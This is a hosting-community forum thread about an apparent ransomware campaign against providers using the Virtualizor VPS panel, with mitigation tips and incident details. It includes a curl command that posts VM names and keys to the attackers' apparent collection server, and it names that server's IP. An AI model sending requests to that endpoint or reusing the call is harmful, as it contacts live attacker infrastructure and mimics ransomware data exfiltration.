New on LowEndTalk? Please Register and read our Community Rules.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
Comments
At this point, the good old way of receiving your ssh login details via email and then deleting said email, changing root pw and enabling ssh keys might just be safer than the panels lol (with all the insecurities email has). This was one of my very vps experiences
IPAM is probably the only thing missing here. In reality, the majority of small hosting providers don't have a programmer on staff (or if they do, they're busy doing other things...) - and many are not of a size where it would justify hiring one over just paying <$20/month per node.
VPS panels are actually pretty cheap and some are even of relatively decent quality. I roll my own orchestrators for anything I do - but I'm able to charge a magnitude more than a low end provider.
You realistically have 4 options:
There is of course things like Openstack, but i think for most of providers here this would be overkill.
Virtualizor costs 7$/mo/hv which is basically nothing.
Developing your own solution is expensive and businesses that start doesn’t have enough capital or work force to do it.
This is valid threat unfortunetely.
Overall:
Conclusion:
Whatever you will choose, you need multi-layer security, if you lack this, you will always be hacked at some point.
—
I can’t blame virtualizor for every hack, but it depends on how they handle this. If they will patch it up relatively quickly, i don’t see a problem. This could have happen to every software.
However, I can blame them when for example their live chat was leaked and credentials were leaked. Or some insider working there and installing Xmrig to earn extra rupees. This is the problem.
It allows arbitrary user uploads. That are reviewed by provider staff. So theoretically anything from banal xss / command injection (i.e. admin views injected javascript that compromises terminal) to something more juicy like arbitrary path /filesystem injection could be possible.
If it is possible, though, it is hilarious because I thought we pretty-much stamped out js injection.
That comes with it the risk of causing worse corruption without doing a backup first. I think that
photorecwould be more reliable.My response:
You could also mount a snapshot loopback device on top of the actual device, e.g.:
Now you can use
/dev/mapper/testoverlayinstead of/dev/vdbwhile you attempt to see how much is possible to restore.Assuming the hacker didn't delete snapshots (and assuming snapshots were even taken).
No no, that's something else.
These are the linux commands that create a snapshot in place, so after typing in the above,
/dev/mapper/testoverlayis initially the same as/dev/vdband any writes end up in thevdb-testing-overlayfile.Essentially, the whole snapshot mechanism in libvirt is built on top of this, but you can easily do it yourself if you want to.
These commands are actually cribbed from the manual work I did the other day, when I was migrating-in-place a bare partition into an LVM and wanted to test it out a couple of times to make sure I didn't break anything.
Also realised, I forgot the commands to turn it off!
So, this is why I am blessed to have caring industry friends. Received a phone call and some IMs today about this. We still have some legacy VMs on Virtualizor nodes that we had already planned to migrate to VirtFusion like the rest of our stuff sometime in the next few months.
About 10 hours ago I just powered down our Virtualizor master and killed the service on all the slaves. VMs are still running, but figured at this point it's beyond reason to assume that everyone was so bad at security that they were able to be impacted and it was becoming more clear that this likely is a serious flaw, somewhere, allowing providers to get hit.
@HostSlick @HOSTCAY @Cloudcone - If you care to share, was your admin panel access restricted to specific management IPs only?
Posted this announcement about ten hours ago: https://portal.incognet.io/announcements/23/Legacy-VMs---Temporary-disabled-control-panel-access.html
Unfortunately, we did not have IP restrictions in place for the admin panel; only Google Authenticator based 2FA was enabled. We did, however, have IP restrictions applied to API usage, and initially believed the issue stemmed from a flaw in our billing system related to the Virtualizor plugin.
We restrict and Isolate down everything to prevent more VMs being at risk. Additionally to disable the meant terminal function
systemctl stop [email protected]
systemctl disable [email protected]
This will make the virtualizor terminal function unusable.
So if someone has access to one node he can not jus go (Admin panel) - Servers - Select Hypervisor - Click Terminal and access the others. I see this is what possibly happened at Cloudcone also. I think Virtualizor got breached before their Support Portal and this is also a possible channel to gain access to one. And as said via this function access the others.
We are going to make the move to VirtFusion now.
If someone asking, some customer reached out and paid $100 also. But once paid communication is cut. There is no "restore" from the attackers. Looking at the code also they run i also had doubts.
There is no backdoor or anything for them to access the node too to "unlock" after or lets say revert the zeroed first 512mb. - As its pretty much all it does including the message the customer will get shown on boot when accessing HTML5 console
It is possible to restore and extract data out of the RAW/QCOW2 files of the VPS. But it is very complicated and takes long. Im testing this with a VPS right now, looks good so far.
@HOSTCAY Did you have the KYC module enabled by any chance? Was it configured to accept manual KYC or to use a third party? Did you perform any KYC checks around the time of the compromise? Or am I barking up the wrong cyber tree?
208.92.227.181:443Possibel this.
Hey, no we don’t use the KYC feature.
In fact, we don’t use most of Virtualizor’s additional functionality. Our usage is limited to subnets, virtual machines, and the template manager. The master/slave features and other options are not used at all.
We have no intention of using Virtualizor’s KYC feature it doesn’t make sense for anyone to use it and is largely impractical. There are far better and more appropriate solutions available for KYC than using a VPS control panel KYC 😅
Hi,
We use Virtfusion, and we're very happy with it so far.
Tagging other providers who I believe still use Virtualizor, to make them aware of this huge problem, because I don't want to see them getting hacked or going down:
@georgedatacenter
@DediRock
@LittleCreek
Yes, even if it was restricted by the panel, tty is still public :4085/tty it's best to write an nginx block on that path
@Hosteroid any thoughts here?
@Chunkserve are busy moving away from Virtualizor (according to their Discord)
Many thoughts actually, especially for companies that didnt restrict access to api and admin panel to their own ips only.. Also we have web terminal feature disabled and VNC option for clients to deactive it enabled, which I would personally recommend everyone to do it as well until we do not hear back from Virtualizor..
Basically all 3 options are Under Security tab in Master configuration, so everyone go there limit access and disable web terminal, enable f2a for your admin accounts and root users.. And lets cross fingers @virtualizor will get back to us with an fix before anyone else gets affected because this is really terrible and scary...
We’re not aware of any confirmed ransomware incident coming from a Virtualizor exploit, and at the moment we don’t have enough technical details to say that Virtualizor itself is the cause.
We’ve been using Virtualizor in production for years, across a fairly large infrastructure, and overall we’ve been happy with it. As with any control panel, problems can happen if systems are outdated, misconfigured, or overly exposed, but that doesn’t automatically mean there’s a serious or widespread exploit.
If there’s a specific CVE, exploit chain, or real incident report related to ransomware via Virtualizor, we’d honestly like to see more details (affected versions, attack vector, scope, mitigation). So far, we haven’t seen anything concrete published.
About switching panels:
Moving from Virtualizor to SolusVM isn’t a simple task, even on a single server. When you’re dealing with hundreds of nodes, a migration like this becomes complex and risky, with downtime planning and customer impact to consider.
Also worth mentioning: we’ve already started working on an OpenStack-based infrastructure, and our long-term plan is to move in that direction. Given that, we currently don’t see a reason to switch from Virtualizor to SolusVM.
That said, we do take security seriously — so if anyone has real technical details about the alleged ransomware issue, please share them. We’re more than happy to look into it.
I can confirm that this is the server/ip address the hackers script uploads data to.
I tested with:
curl -v -d "vm_name=test" -d "uuid=test" -d "key=test" https://ikvm.oldenvale.ru/keys.php --resolve ikvm.oldenvale.ru:443:208.92.227.181
I can't upload the result here, because of CloudFlare blocking, but the server has a SSL certificate for the domain name, and it respond with 200 Ok.
The hosting provider is vdsok.guru
@xvps It actually belongs to Interlir and it was recently routed..
https://apps.db.ripe.net/db-web-ui/query?bflag=false&dflag=false&rflag=true&searchtext=208.92.227.181&source=RIPE
Routed under AS50867 HOSTKEY @Hostkey , which is also banned here
@rarecloud You should see this.
Obviously the hacker bypassed CloudCone's Virtualizor master panel.
Ooof that's not good, just seen the cloudcone thread. Hope everyone can get back to normal soon.
The WHMCS module for Virtualizor has been heavily scrutinized and the source code is available for everyone to look at. I am still waiting for someone to provide actual proof that an exploit exists via the module, and no, copying/pasting the source code into ChatGPT is not the same thing...
I see Blesta mentioned a lot, I can tell you, there was a critical exploit in the 2Checkout module found recently that could be actively exploited right now. Something to think about for anyone using Blesta who hasn't patched in time.
With that said...
We routinely go over Virtualizor for security flaws. If you are a hosting provider and have been compromised, in your opinion, by Virtualizor, please reach out to me directly via DM and we will help you perform an audit to see if we can figure out how the attack occurred.
I don't usually offer that to random hosting companies, but I will for the time being, totally free of charge but I will need full access of everything and it must be a recent compromise.
What is the relationship between kyc function and hackers?
I love it how the providers united to become the
#LowEndDetectivesfor consumer protection.Virtualizor is now exposed.